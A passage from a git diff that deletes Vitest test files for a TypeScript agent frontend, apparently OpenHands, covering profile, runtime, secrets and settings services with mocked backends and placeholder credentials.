expect(mockGetProfile).toHaveBeenCalledWith("my-profile", {}); - expect(result).toEqual(mockResponse); - }); - - it("passes exposeSecrets option when set", async () => { - const mockResponse = { - name: "my-profile", - config: { model: "openai/gpt-4", api_key: "encrypted_..." }, - api_key_set: true, - }; - - mockGetProfile.mockResolvedValue(mockResponse); - - await ProfilesService.getProfile("my-profile", "encrypted"); - - expect(mockGetProfile).toHaveBeenCalledWith("my-profile", { - exposeSecrets: "encrypted", - }); - }); - }); - - describe("saveProfile", () => { - it("calls saveProfile with name and request body", async () => { - const mockResponse = { name: "new-profile", message: "Profile saved" }; - mockSaveProfile.mockResolvedValue(mockResponse); - - const request = { - llm: { - model: "openai/gpt-4", - api_key: "sk-xxx", - }, - include_secrets: true, - }; - - const result = await ProfilesService.saveProfile("new-profile", request); - - expect(mockSaveProfile).toHaveBeenCalledWith("new-profile", request); - expect(result).toEqual(mockResponse); - }); - - it("saves profile with base_url", async () => { - const mockResponse = { name: "custom-profile", message: "Profile saved" }; - mockSaveProfile.mockResolvedValue(mockResponse); - - const request = { - llm: { - model: "openai/gpt-4", - base_url: "https://custom.api.com", - }, - }; - - await ProfilesService.saveProfile("custom-profile", request); - - expect(mockSaveProfile).toHaveBeenCalledWith("custom-profile", request); - }); - }); - - describe("deleteProfile", () => { - it("calls deleteProfile with profile name", async () => { - const mockResponse = { name: "old-profile", message: "Profile deleted" }; - mockDeleteProfile.mockResolvedValue(mockResponse); - - const result = await ProfilesService.deleteProfile("old-profile"); - - expect(mockDeleteProfile).toHaveBeenCalledWith("old-profile"); - expect(result).toEqual(mockResponse); - }); - }); - - describe("renameProfile", () => { - it("calls renameProfile with old and new names", async () => { - const mockResponse = { - name: "renamed-profile", - message: "Profile renamed", - }; - mockRenameProfile.mockResolvedValue(mockResponse); - - const result = await ProfilesService.renameProfile( - "old-name", - "renamed-profile", - ); - - expect(mockRenameProfile).toHaveBeenCalledWith( - "old-name", - "renamed-profile", - ); - expect(result).toEqual(mockResponse); - }); - }); - - describe("activateProfile", () => { - it("calls activateProfile with profile name", async () => { - const mockResponse = { - name: "active-profile", - message: "Profile activated", - llm_applied: true, - }; - mockActivateProfile.mockResolvedValue(mockResponse); - - const result = await ProfilesService.activateProfile("active-profile"); - - expect(mockActivateProfile).toHaveBeenCalledWith("active-profile"); - expect(result).toEqual(mockResponse); - }); - }); -}); diff --git a/__tests__/api/runtime-service/agent-server-runtime-service.test.ts b/__tests__/api/runtime-service/agent-server-runtime-service.test.ts deleted file mode 100644 index e37bdb3b6..000000000 --- a/__tests__/api/runtime-service/agent-server-runtime-service.test.ts +++ /dev/null @@ -1,307 +0,0 @@ -import { FileClient } from "@openhands/typescript-client/clients"; -import { RemoteWorkspace } from "@openhands/typescript-client/workspace/remote-workspace"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import AgentServerRuntimeService from "#/api/runtime-service/agent-server-runtime-service"; -import { callCloudProxy } from "#/api/cloud/proxy"; -import type { Backend } from "#/api/backend-registry/types"; - -// ─── SDK client mocks ─────────────────────────────────────────────────────── - -const { executeCommandMock, downloadFileMock } = vi.hoisted(() => ({ - executeCommandMock: vi.fn(), - downloadFileMock: vi.fn(), -})); - -vi.mock("@openhands/typescript-client/workspace/remote-workspace", () => ({ - RemoteWorkspace: vi.fn(function RemoteWorkspaceMock() { - return { executeCommand: executeCommandMock }; - }), -})); - -vi.mock("@openhands/typescript-client/clients", () => ({ - FileClient: vi.fn(function FileClientMock() { - return { downloadFile: downloadFileMock }; - }), -})); - -vi.mock("#/api/agent-server-client-options", () => ({ - getAgentServerClientOptions: vi.fn(() => ({ - host: "http://local-agent.example.com", - apiKey: "local-key", - workingDir: "/workspace/project", - })), -})); - -vi.mock("#/api/cloud/proxy", () => ({ - callCloudProxy: vi.fn(), -})); - -// ─── Backend fixtures ──────────────────────────────────────────────────────── - -const cloudBackend: Backend = { - id: "cloud-1", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "cloud-api-key", - kind: "cloud", -}; - -const CLOUD_CONVERSATION_URL = - "https://runtime.example.com/api/conversations/conv-1"; -const SESSION_KEY = "session-key-abc"; - -// ─── Helpers ───────────────────────────────────────────────────────────────── - -function activateCloud() { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id, orgId: null }); -} - -// ─── Setup ─────────────────────────────────────────────────────────────────── - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - vi.mocked(RemoteWorkspace).mockClear(); - vi.mocked(FileClient).mockClear(); - executeCommandMock.mockReset(); - downloadFileMock.mockReset(); - vi.mocked(callCloudProxy).mockReset(); -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); -}); - -// ─── executeCommand ────────────────────────────────────────────────────────── - -describe("AgentServerRuntimeService.executeCommand", () => { - describe("local backend", () => { - it("creates RemoteWorkspace with resolved options and delegates", async () => { - executeCommandMock.mockResolvedValue({ - exit_code: 0, - stdout: "main\n", - stderr: "", - }); - - const result = await AgentServerRuntimeService.executeCommand( - "http://local-agent.example.com/api/conversations/conv-1", - SESSION_KEY, - "git rev-parse --abbrev-ref HEAD", - "/workspace/project", - 10, - ); - - expect(RemoteWorkspace).toHaveBeenCalledTimes(1); - expect(executeCommandMock).toHaveBeenCalledWith( - "git rev-parse --abbrev-ref HEAD", - "/workspace/project", - 10, - ); - expect(result).toEqual({ exit_code: 0, stdout: "main\n", stderr: "" }); - }); - - it("does not call callCloudProxy for local backends", async () => { - executeCommandMock.mockResolvedValue({ - exit_code: 0, - stdout: "", - stderr: "", - }); - - await AgentServerRuntimeService.executeCommand(null, null, "ls", "/", 5); - - expect(callCloudProxy).not.toHaveBeenCalled(); - }); - }); - - describe("cloud backend", () => { - beforeEach(activateCloud); - - it("routes through callCloudProxy with correct path, body, and auth", async () => { - vi.mocked(callCloudProxy).mockResolvedValue({ - exit_code: 0, - stdout: "src/index.ts\n", - stderr: "", - }); - - const result = await AgentServerRuntimeService.executeCommand( - CLOUD_CONVERSATION_URL, - SESSION_KEY, - "find . -type f", - "/workspace/project", - 30, - ); - - const proxyCall = vi.mocked(callCloudProxy).mock.calls[0][0]; - expect(proxyCall.method).toBe("POST"); - expect(proxyCall.path).toBe("/api/bash/execute_bash_command"); - expect(proxyCall.hostOverride).toBe("https://runtime.example.com"); - expect(proxyCall.body).toEqual({ - command: "find . -type f", - cwd: "/workspace/project", - timeout: 30, - }); - expect(proxyCall.authMode).toBe("session-api-key"); - expect(proxyCall.sessionApiKey).toBe(SESSION_KEY); - expect(proxyCall.timeoutSeconds).toBe(40); - expect(result).toEqual({ - exit_code: 0, - stdout: "src/index.ts\n", - stderr: "", - }); - }); - - it("omits cwd from proxy body when not provided", async () => { - vi.mocked(callCloudProxy).mockResolvedValue({ exit_code: 0 }); - - await AgentServerRuntimeService.executeCommand( - CLOUD_CONVERSATION_URL, - SESSION_KEY, - "echo hi", - undefined, - 10, - ); - - const proxyBody = vi.mocked(callCloudProxy).mock.calls[0][0].body as Record; - expect(proxyBody).not.toHaveProperty("cwd"); - expect(proxyBody.command).toBe("echo hi"); - }); - - it("normalises missing stdout/stderr fields to empty strings", async () => { - vi.mocked(callCloudProxy).mockResolvedValue({ exit_code: 1 }); - - const result = await AgentServerRuntimeService.executeCommand( - CLOUD_CONVERSATION_URL, - SESSION_KEY, - "false", - undefined, - 5, - ); - - expect(result).toEqual({ exit_code: 1, stdout: "", stderr: "" }); - }); - - it("does not create a RemoteWorkspace for cloud calls", async () => { - vi.mocked(callCloudProxy).mockResolvedValue({ exit_code: 0 }); - - await AgentServerRuntimeService.executeCommand( - CLOUD_CONVERSATION_URL, - SESSION_KEY, - "echo ok", - ); - - expect(RemoteWorkspace).not.toHaveBeenCalled(); - }); - - it("falls back to local path when conversationUrl is null", async () => { - executeCommandMock.mockResolvedValue({ - exit_code: 0, - stdout: "", - stderr: "", - }); - - await AgentServerRuntimeService.executeCommand( - null, - SESSION_KEY, - "echo ok", - ); - - expect(callCloudProxy).not.toHaveBeenCalled(); - expect(RemoteWorkspace).toHaveBeenCalledTimes(1); - }); - }); -}); - -// ─── downloadFile ───────────────────────────────────────────────────────────── - -describe("AgentServerRuntimeService.downloadFile", () => { - describe("local backend", () => { - it("creates FileClient with resolved options and returns the ArrayBuffer", async () => { - const fileBytes = new TextEncoder().encode("# README"); - downloadFileMock.mockResolvedValue(fileBytes.buffer); - - const result = await AgentServerRuntimeService.downloadFile( - "http://local-agent.example.com/api/conversations/conv-1", - SESSION_KEY, - "/workspace/project/README.md", - ); - - expect(FileClient).toHaveBeenCalledTimes(1); - expect(downloadFileMock).toHaveBeenCalledWith( - "/workspace/project/README.md", - ); - expect(result).toBe(fileBytes.buffer); - }); - - it("does not call callCloudProxy for local backends", async () => { - downloadFileMock.mockResolvedValue(new ArrayBuffer(0)); - - await AgentServerRuntimeService.downloadFile( - null, - null, - "/workspace/file.txt", - ); - - expect(callCloudProxy).not.toHaveBeenCalled(); - }); - }); - - describe("cloud backend", () => { - beforeEach(activateCloud); - - it("routes through callCloudProxy with GET and URL-encoded path", async () => { - const blob = new Blob([new TextEncoder().encode("file content")]); - vi.mocked(callCloudProxy).mockResolvedValue(blob); - - const result = await AgentServerRuntimeService.downloadFile( - CLOUD_CONVERSATION_URL, - SESSION_KEY, - "/workspace/project/src/main.ts", - ); - - const proxyCall = vi.mocked(callCloudProxy).mock.calls[0][0]; - expect(proxyCall.method).toBe("GET"); - expect(proxyCall.path).toBe( - "/api/file/download?path=%2Fworkspace%2Fproject%2Fsrc%2Fmain.ts", - ); - expect(proxyCall.hostOverride).toBe("https://runtime.example.com"); - expect(proxyCall.authMode).toBe("session-api-key"); - expect(proxyCall.sessionApiKey).toBe(SESSION_KEY); - expect(proxyCall.responseType).toBe("blob"); - - // Blob.arrayBuffer() round-trip: decoded text should match the original. - expect(new TextDecoder().decode(result)).toBe("file content"); - }); - - it("does not create a FileClient for cloud calls", async () => { - vi.mocked(callCloudProxy).mockResolvedValue(new Blob()); - - await AgentServerRuntimeService.downloadFile( - CLOUD_CONVERSATION_URL, - SESSION_KEY, - "/workspace/file.txt", - ); - - expect(FileClient).not.toHaveBeenCalled(); - }); - - it("falls back to local path when conversationUrl is null", async () => { - downloadFileMock.mockResolvedValue(new ArrayBuffer(0)); - - await AgentServerRuntimeService.downloadFile( - null, - SESSION_KEY, - "/workspace/file.txt", - ); - - expect(callCloudProxy).not.toHaveBeenCalled(); - expect(FileClient).toHaveBeenCalledTimes(1); - }); - }); -}); diff --git a/__tests__/api/secrets-service.test.ts b/__tests__/api/secrets-service.test.ts deleted file mode 100644 index 3c4fc30eb..000000000 --- a/__tests__/api/secrets-service.test.ts +++ /dev/null @@ -1,100 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import type { Backend } from "#/api/backend-registry/types"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { SecretsService } from "#/api/secrets-service"; - -const { - mockGetSecret, - mockUpsertSecret, - mockDeleteSecret, -} = vi.hoisted(() => ({ - mockGetSecret: vi.fn(), - mockUpsertSecret: vi.fn(), - mockDeleteSecret: vi.fn(), -})); - -vi.mock("@openhands/typescript-client/clients", () => ({ - SettingsClient: vi.fn(function SettingsClientMock() { - return { - getSecret: mockGetSecret, - upsertSecret: mockUpsertSecret, - deleteSecret: mockDeleteSecret, - }; - }), -})); - -const localBackend: Backend = { - id: "local", - name: "Local", - host: "http://127.0.0.1:8000", - apiKey: "", - kind: "local", -}; - -describe("SecretsService", () => { - beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - mockGetSecret.mockReset(); - mockUpsertSecret.mockReset(); - mockDeleteSecret.mockReset(); - }); - - afterEach(() => { - __resetActiveStoreForTests(); - }); - - it("preserves the existing value when updating description", async () => { - // Arrange - mockGetSecret.mockResolvedValue("keep-this"); - mockUpsertSecret.mockResolvedValue({ - name: "OpenAI_API_Key", - description: "Updated description", - }); - - // Act - await SecretsService.updateSecret( - "OpenAI_API_Key", - "OpenAI_API_Key", - "Updated description", - ); - - // Assert - expect(mockGetSecret).toHaveBeenCalledWith("OpenAI_API_Key"); - expect(mockUpsertSecret).toHaveBeenCalledWith({ - name: "OpenAI_API_Key", - value: "keep-this", - description: "Updated description", - }); - expect(mockDeleteSecret).not.toHaveBeenCalled(); - }); - - it("renames secrets by re-upserting and removing the old entry", async () => { - // Arrange - mockGetSecret.mockResolvedValue("original-value"); - mockUpsertSecret.mockResolvedValue({ - name: "New_Key", - description: "Renamed", - }); - mockDeleteSecret.mockResolvedValue({ deleted: true }); - - // Act - await SecretsService.updateSecret("Old_Key", "New_Key", "Renamed"); - - // Assert - expect(mockGetSecret).toHaveBeenCalledWith("Old_Key"); - expect(mockUpsertSecret).toHaveBeenCalledWith({ - name: "New_Key", - value: "original-value", - description: "Renamed", - }); - expect(mockDeleteSecret).toHaveBeenCalledWith("Old_Key"); - }); -}); diff --git a/__tests__/api/settings-service.test.ts b/__tests__/api/settings-service.test.ts deleted file mode 100644 index ce8679c3b..000000000 --- a/__tests__/api/settings-service.test.ts +++ /dev/null @@ -1,706 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { http, HttpResponse } from "msw"; - -import SettingsService from "#/api/settings-service/settings-service.api"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { server } from "#/mocks/node"; -import { resetTestHandlersMockSettings } from "#/mocks/settings-handlers"; -import type { Settings } from "#/types/settings"; - -const mockSaveCloudSettings = vi.fn(); -const mockFetchCloudSettings = vi.fn(); - -vi.mock("#/api/cloud/settings-service.api", () => ({ - saveCloudSettings: (args: unknown) => mockSaveCloudSettings(args), - fetchCloudSettings: () => mockFetchCloudSettings(), - fetchCloudSettingsSchema: vi.fn(), - fetchCloudConversationSettingsSchema: vi.fn(), -})); - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -describe("SettingsService", () => { - beforeEach(() => { - // Clear localStorage and reset mock settings state - window.localStorage.clear(); - resetTestHandlersMockSettings(); - __resetActiveStoreForTests(); - mockSaveCloudSettings.mockReset().mockResolvedValue(undefined); - mockFetchCloudSettings.mockReset(); - // Invalidate the in-memory cache - SettingsService.invalidateCache(); - }); - - afterEach(() => { - __resetActiveStoreForTests(); - }); - - it("fetches settings from the API and normalizes derived fields", async () => { - // The mock handler returns default settings - const settings = await SettingsService.getSettings(); - - // Should have normalized settings with derived fields - expect(settings.agent).toBe("CodeActAgent"); - expect(settings.llm_model).toBe("openhands/minimax-m2.7"); - expect(settings.confirmation_mode).toBe(false); - expect(settings.security_analyzer).toBe("llm"); - }); - - it("saves settings via PATCH API and invalidates cache", async () => { - // Save some settings - await SettingsService.saveSettings({ - agent_settings_diff: { - agent: "CodeActAgent", - llm: { - model: "saved-model", - base_url: "https://saved.example.com", - api_key: "saved-key", - }, - }, - conversation_settings_diff: { - confirmation_mode: true, - security_analyzer: "llm", - max_iterations: 33, - }, - }); - - // Fetch settings again - should reflect the saved values - const settings = await SettingsService.getSettings(); - - expect(settings.llm_model).toBe("saved-model"); - expect(settings.llm_base_url).toBe("https://saved.example.com"); - // Note: api_key will be redacted when fetched without X-Expose-Secrets header - expect(settings.confirmation_mode).toBe(true); - expect(settings.security_analyzer).toBe("llm"); - expect(settings.max_iterations).toBe(33); - }); - - it("returns encrypted secrets when using getSettingsForConversation", async () => { - // First save a key - await SettingsService.saveSettings({ - agent_settings_diff: { - llm: { - api_key: "test-api-key", - }, - }, - }); - - // Get settings for conversation (should have encrypted secrets) - const { agentSettings, secretsEncrypted } = - await SettingsService.getSettingsForConversation(); - - expect(secretsEncrypted).toBe(true); - // The mock returns an "encrypted" placeholder for the key - const llm = agentSettings.llm as Record | undefined; - expect(llm?.api_key).toMatch(/^gAAAAA_mock_encrypted_/); - }); - - it("uses cache for repeated getSettings calls", async () => { - const fetchSpy = vi.spyOn(SettingsService, "fetchSettingsFromApi"); - - // First call - should fetch from API - await SettingsService.getSettings(); - expect(fetchSpy).toHaveBeenCalledTimes(1); - - // Second call - should use cache - await SettingsService.getSettings(); - expect(fetchSpy).toHaveBeenCalledTimes(1); - - // After invalidation - should fetch again - SettingsService.invalidateCache(); - await SettingsService.getSettings(); - expect(fetchSpy).toHaveBeenCalledTimes(2); - - fetchSpy.mockRestore(); - }); - - it("skips API call when no diffs are provided to saveSettings", async () => { - const fetchSpy = vi.spyOn(SettingsService, "fetchSettingsFromApi"); - - // Call with empty/no diffs - const result = await SettingsService.saveSettings({}); - - expect(result).toBe(true); - // No fetch should have been made (PATCH not called) - expect(fetchSpy).not.toHaveBeenCalled(); - - fetchSpy.mockRestore(); - }); - - it("sends disabled_skills under misc_settings_diff.app_preferences on a local backend", async () => { - // disabled_skills is one of the AppPreferences fields (along with - // language, git identity, …) and is persisted server-side under - // `PersistedSettings.misc_settings.app_preferences` since the - // misc_settings container was introduced as a follow-up to PR #3539. - const patchBodies: Array> = []; - server.use( - http.patch("*/api/settings", async ({ request }) => { - patchBodies.push((await request.json()) as Record); - return HttpResponse.json({ - agent_settings: {}, - conversation_settings: {}, - llm_api_key_is_set: false, - misc_settings: { - app_preferences: { disabled_skills: ["SSH Microagent"] }, - }, - }); - }), - ); - - const result = await SettingsService.saveSettings({ - disabled_skills: ["SSH Microagent"], - }); - - expect(result).toBe(true); - expect(patchBodies).toEqual([ - { - misc_settings_diff: { - app_preferences: { disabled_skills: ["SSH Microagent"] }, - }, - }, - ]); - }); - - it("stores the title profile as a local app preference", async () => { - const patchBodies: Array> = []; - server.use( - http.patch("*/api/settings", async ({ request }) => { - patchBodies.push((await request.json()) as Record); - return HttpResponse.json({ - agent_settings: {}, - conversation_settings: {}, - llm_api_key_is_set: false, - misc_settings: { - app_preferences: { title_llm_profile: "Titles" }, - }, - }); - }), - ); - - await SettingsService.saveSettings({ title_llm_profile: "Titles" }); - - expect(patchBodies).toEqual([ - { - misc_settings_diff: { - app_preferences: { title_llm_profile: "Titles" }, - }, - }, - ]); - }); - - it("surfaces server-side misc_settings.app_preferences in getSettings on a local backend", async () => { - // The local agent-server returns app_preferences nested under - // `misc_settings` on GET /api/settings. The mock handler echoes whatever - // was last PATCH'd; seed it through the real save path so the round-trip - // matches production. - const appPrefs = { - language: "fr", - git_user_name: "Alice", - git_user_email: "alice@example.com", - enable_sound_notifications: true, - user_consents_to_analytics: true, - title_llm_profile: "Titles", - disabled_skills: ["SSH Microagent"], - }; - await SettingsService.saveSettings(appPrefs); - SettingsService.invalidateCache(); - - const settings = await SettingsService.getSettings(); - - expect({ - language: settings.language, - git_user_name: settings.git_user_name, - git_user_email: settings.git_user_email, - enable_sound_notifications: settings.enable_sound_notifications, - user_consents_to_analytics: settings.user_consents_to_analytics, - title_llm_profile: settings.title_llm_profile, - disabled_skills: settings.disabled_skills, - }).toEqual(appPrefs); - }); - - it("routes app-level fields into misc_settings_diff when mixed with agent diffs", async () => { - const patchBodies: Array> = []; - server.use( - http.patch("*/api/settings", async ({ request }) => { - patchBodies.push((await request.json()) as Record); - return HttpResponse.json({ - agent_settings: { agent: "CodeActAgent" }, - conversation_settings: {}, - llm_api_key_is_set: false, - misc_settings: { app_preferences: { git_user_name: "Alice" } }, - }); - }), - ); - - await SettingsService.saveSettings({ - git_user_name: "Alice", - agent_settings_diff: { agent: "CodeActAgent" }, - }); - - expect(patchBodies).toEqual([ - { - agent_settings_diff: { agent: "CodeActAgent" }, - misc_settings_diff: { app_preferences: { git_user_name: "Alice" } }, - }, - ]); - }); - - it("forwards app-level preferences as flat top-level fields to the cloud save", async () => { - // Arrange: switch the active backend to cloud so saveSettings routes - // through saveCloudSettings (mocked). - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - // Act - await SettingsService.saveSettings({ - language: "fr", - git_user_name: "Alice", - title_llm_profile: null, - }); - - // Assert: cloud save received the fields under `app_preferences` so - // `saveCloudSettings` can spread them into the POST body as flat keys. - expect(mockSaveCloudSettings).toHaveBeenCalledWith({ - app_preferences: { - language: "fr", - git_user_name: "Alice", - title_llm_profile: null, - }, - }); - }); - - it("ignores any stale localStorage git-provider-tokens key (PAT layer removed)", async () => { - // Arrange: a previous version of the app may have written PATs to - // localStorage under this key. After removing the integrations page and - // the PAT layer, getSettings must not resurrect those stale tokens into - // provider_tokens_set — that would re-enable the removed flow. - window.localStorage.setItem( - "openhands-agent-server-git-provider-tokens", - JSON.stringify({ - github: { token: "ghp_stale_xyz", host: "github.com" }, - gitlab: { token: "glpat_stale_xyz", host: null }, - }), - ); - - // Act - const settings = await SettingsService.getSettings(); - - // Assert - expect(settings.provider_tokens_set).toEqual({}); - }); - - it("pre-clears mcp_config before writing the new value on the local backend", async () => { - // The agent-server PATCH applies agent_settings_diff via deep-merge, - // which cannot remove name-keyed entries from mcp_config. - // saveSettings must compensate by sending a {mcp_config: null} PATCH - // first so the follow-up PATCH effectively replaces the field. Without - // this, deleting a server leaves stale MCP server keys behind and - // shifted indices produce duplicate entries. - const patchBodies: Array> = []; - server.use( - http.patch("*/api/settings", async ({ request }) => { - patchBodies.push((await request.json()) as Record); - return HttpResponse.json({ - agent_settings: {}, - conversation_settings: {}, - llm_api_key_is_set: false, - }); - }), - ); - - await SettingsService.saveSettings({ - agent_settings_diff: { - mcp_config: { only: { url: "https://x.example" } }, - }, - }); - - expect(patchBodies).toEqual([ - { agent_settings_diff: { mcp_config: null } }, - { - agent_settings_diff: { - mcp_config: { only: { url: "https://x.example" } }, - }, - }, - ]); - }); - - it("does not pre-clear when the mcp_config diff is already null on the local backend", async () => { - // When the caller is wiping mcp_config entirely (e.g. user removed the - // last server), a single PATCH already takes effect because null is - // not a dict and deep-merge replaces rather than recurses. A second - // clear would be wasted work. - const patchBodies: Array> = []; - server.use( - http.patch("*/api/settings", async ({ request }) => { - patchBodies.push((await request.json()) as Record); - return HttpResponse.json({ - agent_settings: {}, - conversation_settings: {}, - llm_api_key_is_set: false, - }); - }), - ); - - await SettingsService.saveSettings({ - agent_settings_diff: { mcp_config: null }, - }); - - expect(patchBodies).toEqual([ - { agent_settings_diff: { mcp_config: null } }, - ]); - }); - - it("does not pre-clear when the diff has no mcp_config on the local backend", async () => { - // A typical settings save (LLM model, condenser, …) must NOT incur the - // mcp_config pre-clear round-trip — that would needlessly drop the - // user's MCP servers if anything ever raced. - const patchBodies: Array> = []; - server.use( - http.patch("*/api/settings", async ({ request }) => { - patchBodies.push((await request.json()) as Record); - return HttpResponse.json({ - agent_settings: {}, - conversation_settings: {}, - llm_api_key_is_set: false, - }); - }), - ); - - await SettingsService.saveSettings({ - agent_settings_diff: { agent: "CodeActAgent" }, - }); - - expect(patchBodies).toEqual([ - { agent_settings_diff: { agent: "CodeActAgent" } }, - ]); - }); - - it("pre-clears mcp_config on the cloud backend before writing the new value", async () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - await SettingsService.saveSettings({ - agent_settings_diff: { - mcp_config: { only: { url: "https://x.example" } }, - }, - }); - - expect(mockSaveCloudSettings).toHaveBeenCalledTimes(2); - expect(mockSaveCloudSettings).toHaveBeenNthCalledWith(1, { - agent_settings_diff: { mcp_config: null }, - }); - expect(mockSaveCloudSettings).toHaveBeenNthCalledWith(2, { - agent_settings_diff: { - mcp_config: { only: { url: "https://x.example" } }, - }, - }); - }); - - it("does not pre-clear cloud mcp_config when rotating a redacted MCP key", async () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - mockFetchCloudSettings.mockResolvedValue({ - agent_settings: { - mcp_config: { - integrations_hub: { - url: "https://integrations.staging.all-hands.dev/api/mcp", - headers: { Authorization: "**********" }, - }, - }, - }, - }); - - await SettingsService.saveSettings({ - agent_settings_diff: { - mcp_config: { - integrations_hub: { - url: "https://integrations.staging.all-hands.dev/api/mcp", - auth: { strategy: "bearer", value: "new-key" }, - }, - }, - }, - }); - - expect(mockSaveCloudSettings).toHaveBeenCalledTimes(1); - expect(mockSaveCloudSettings).toHaveBeenCalledWith({ - agent_settings_diff: { - mcp_config: { - integrations_hub: { - url: "https://integrations.staging.all-hands.dev/api/mcp", - headers: { Authorization: "Bearer new-key" }, - }, - }, - }, - }); - }); - - it("converts bearer MCP auth to headers when saving mcp_config to cloud", async () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - await SettingsService.saveSettings({ - agent_settings_diff: { - mcp_config: { - elevenlabs: { - transport: "http", - url: "https://mcp.example.com/mcp", - auth: { strategy: "bearer", value: "elevenlabs-test-token" }, - }, - }, - }, - }); - - expect(mockSaveCloudSettings).toHaveBeenCalledTimes(2); - expect(mockSaveCloudSettings).toHaveBeenNthCalledWith(2, { - agent_settings_diff: { - mcp_config: { - elevenlabs: { - transport: "http", - url: "https://mcp.example.com/mcp", - headers: { - Authorization: "Bearer elevenlabs-test-token", - }, - }, - }, - }, - }); - }); - - it("converts OAuth token state to headers when saving mcp_config to cloud", async () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - await SettingsService.saveSettings({ - agent_settings_diff: { - mcp_config: { - notion: { - transport: "http", - url: "https://mcp.example.com/mcp", - auth: { - strategy: "oauth2", - authentication: { - type: "oauth", - client_auth_method: "client_secret_post", - }, - state: { - tokens: { - access_token: "oauth-access-token", - }, - }, - }, - }, - }, - }, - }); - - expect(mockSaveCloudSettings).toHaveBeenCalledTimes(2); - expect(mockSaveCloudSettings).toHaveBeenNthCalledWith(2, { - agent_settings_diff: { - mcp_config: { - notion: { - transport: "http", - url: "https://mcp.example.com/mcp", - headers: { - Authorization: "Bearer oauth-access-token", - }, - }, - }, - }, - }); - }); - - it("rolls back to the previous mcp_config when the second cloud PATCH fails", async () => { - // Reviewer-flagged data-loss scenario: the pre-clear succeeds, then - // the write fails (validation error, transient outage, etc.). The - // service must attempt to restore the previous mcp_config so the - // user isn't silently left with an empty MCP setup. - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - const previousMcpConfig = { existing: { url: "https://old.example" } }; - mockFetchCloudSettings.mockResolvedValue({ - agent_settings: { mcp_config: previousMcpConfig }, - }); - - // Pre-clear succeeds, second write fails on all retries, rollback - // succeeds. withRetry runs three attempts by default — return the - // failure deterministically so the rollback path is exercised. - mockSaveCloudSettings.mockImplementation( - (args: { agent_settings_diff?: { mcp_config?: unknown } }) => { - const mcp = args?.agent_settings_diff?.mcp_config; - if (mcp === null) return Promise.resolve(undefined); // pre-clear - // The full payload from the user contains the *new* mcp_config. - // Distinguish it from the rollback (which writes the previous - // value) by object identity on the server map. - if ( - mcp && - typeof mcp === "object" && - (mcp as Record).new - ) { - return Promise.reject(new Error("validation failed")); - } - return Promise.resolve(undefined); // rollback succeeds - }, - ); - - await expect( - SettingsService.saveSettings({ - agent_settings_diff: { - mcp_config: { new: { url: "https://new.example" } }, - }, - }), - ).rejects.toThrow("validation failed"); - - // 3 attempts for the failed write (default withRetry retries) + - // 1 pre-clear + 1 rollback = 5 calls total. Last call MUST be the - // rollback with the previous mcp_config. - const lastCallArgs = - mockSaveCloudSettings.mock.calls[ - mockSaveCloudSettings.mock.calls.length - 1 - ][0]; - expect(lastCallArgs).toEqual({ - agent_settings_diff: { mcp_config: previousMcpConfig }, - }); - }); - - it("rolls back to the previous mcp_config when the second local PATCH fails", async () => { - // Same scenario as the cloud test but for the local agent-server - // path. We assert the rollback PATCH is the final request observed. - const patchBodies: Array> = []; - const previousMcpConfig = { - existing: { url: "https://old.example" }, - }; - let getCount = 0; - server.use( - http.get("*/api/settings", () => { - getCount += 1; - return HttpResponse.json({ - agent_settings: { mcp_config: previousMcpConfig }, - conversation_settings: {}, - llm_api_key_is_set: false, - }); - }), - http.patch("*/api/settings", async ({ request }) => { - const body = (await request.json()) as Record; - patchBodies.push(body); - const agentDiff = body.agent_settings_diff as - | { mcp_config?: unknown } - | undefined; - const mcp = agentDiff?.mcp_config; - // Pre-clear (mcp_config: null) and rollback (mcp_config: previous) - // both succeed; only the "new" write fails. - if ( - mcp && - typeof mcp === "object" && - (mcp as Record).new - ) { - return HttpResponse.json( - { error: "validation failed" }, - { status: 400 }, - ); - } - return HttpResponse.json({ - agent_settings: {}, - conversation_settings: {}, - llm_api_key_is_set: false, - }); - }), - ); - - await expect( - SettingsService.saveSettings({ - agent_settings_diff: { - mcp_config: { new: { url: "https://new.example" } }, - }, - }), - ).rejects.toBeDefined(); - - // Snapshot fetch must have happened before any destructive PATCH. - expect(getCount).toBeGreaterThanOrEqual(1); - - // Final PATCH is the rollback, restoring the previous mcp_config. - const last = patchBodies[patchBodies.length - 1]; - expect(last).toEqual({ - agent_settings_diff: { mcp_config: previousMcpConfig }, - }); - // And we must have done the pre-clear too. - expect(patchBodies[0]).toEqual({ - agent_settings_diff: { mcp_config: null }, - }); - }); - - it("does not attempt rollback when the snapshot fetch returned no mcp_config", async () => { - // First-time install: there's nothing to roll back to. The original - // error must still propagate but we must not send a bogus rollback - // PATCH (e.g. `mcp_config: undefined`) that the backend would reject. - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - mockFetchCloudSettings.mockResolvedValue({ agent_settings: {} }); - mockSaveCloudSettings.mockImplementation( - (args: { agent_settings_diff?: { 